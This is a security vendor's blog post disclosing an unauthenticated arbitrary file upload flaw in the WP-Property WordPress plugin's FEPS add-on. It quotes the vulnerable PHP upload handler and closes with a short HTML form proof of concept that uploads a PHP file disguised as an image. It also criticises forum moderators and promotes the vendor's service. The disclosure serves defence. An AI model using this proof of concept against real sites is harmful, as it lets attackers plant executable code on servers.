6 Oct 2021

Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability in WP-Property

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught ones of those vulnerabilities, an arbitrary file upload vulnerability, in the plugin WP-Property.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our new firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of it protection against zero-day vulnerabilities.

Arbitrary File Upload

The vulnerability is in one of the plugin’s built-in add-ons, named FEPS. When that is enabled, the plugin registers the function ajax_feps_image_upload() to be accessible through WordPress’ AJAX functionality to those logged in to WordPress, as well as those not logged in:

124
125
add_action( "wp_ajax_wpp_feps_image_upload", array("class_wpp_feps", "ajax_feps_image_upload" ) );
add_action( "wp_ajax_nopriv_wpp_feps_image_upload", array("class_wpp_feps", "ajax_feps_image_upload" ) );

The function, which is located in the file /addons/wp-property-feps/lib/class-wpp-feps.php, will upload a file sent with a request:

2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
  static public function ajax_feps_image_upload() {
 
    $file_name = $_REQUEST['qqfile'];
    $this_session = $_REQUEST['this_session'];
 
    $upload_dir = wp_upload_dir();
    $feps_files_dir = $upload_dir['basedir'] . '/feps_files';
    $wpp_queue_dir = $feps_files_dir .  '/' . $this_session;
    $wpp_queue_url = $upload_dir['baseurl'] . '/feps_files/' . $this_session;
 
    if(!is_dir($feps_files_dir)) {
      mkdir($feps_files_dir, 0755);
    }
 
    if(!is_dir($wpp_queue_dir)) {
      mkdir($wpp_queue_dir, 0755);
      fopen($wpp_queue_dir . '/index.php', "w");
    }
 
    $path = $wpp_queue_dir . '/'. $file_name;
 
    if ( empty( $_FILES ) ) {
 
      $temp = tmpfile();
      $input = fopen("php://input", "r");
      $realSize = stream_copy_to_stream($input, $temp);
      fclose($input);
      $target = fopen($path, "w");
      fseek($temp, 0, SEEK_SET);
      stream_copy_to_stream($temp, $target);
      fclose($target);
 
    } else {
      // for IE!!!
      move_uploaded_file($_FILES['qqfile']['tmp_name'], $path);
    }
 
    /* if it is image */
    if ( getimagesize($path) ) {
 
      $return['success'] = 'true';
 
      //** Need to get thumb URL */
      $return['thumb_url'] = $wpp_queue_url . '/' . $file_name;
 
      $return['url'] = $wpp_queue_url . '/' . $file_name;
 
      die(htmlspecialchars(json_encode($return), ENT_NOQUOTES));
 
    } else {
      unlink($path);
    }
 
    die('false');
 
  }

The only security check that does is to try to check if the file is an image using the function getimagesize(). That function isn’t intended to be used as a security check and it is possible to bypass that protection, by, say, uploading an image file with PHP code included as additional data with the image (something hackers have taken advantage for many years).

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that. Other data providers often fail to really determine if the vulnerability has been fixed.

Proof of Concept

The following proof of concept will upload the contents of the file sent with the request to /wp-content/uploads/feps_files/gif.php, when the FEPS add-on is enabled and the file passes a check from getimagesize().

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpp_feps_image_upload&qqfile=gif.php" enctype="multipart/form-data" method="POST">
<input type="file" name="qqfile" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.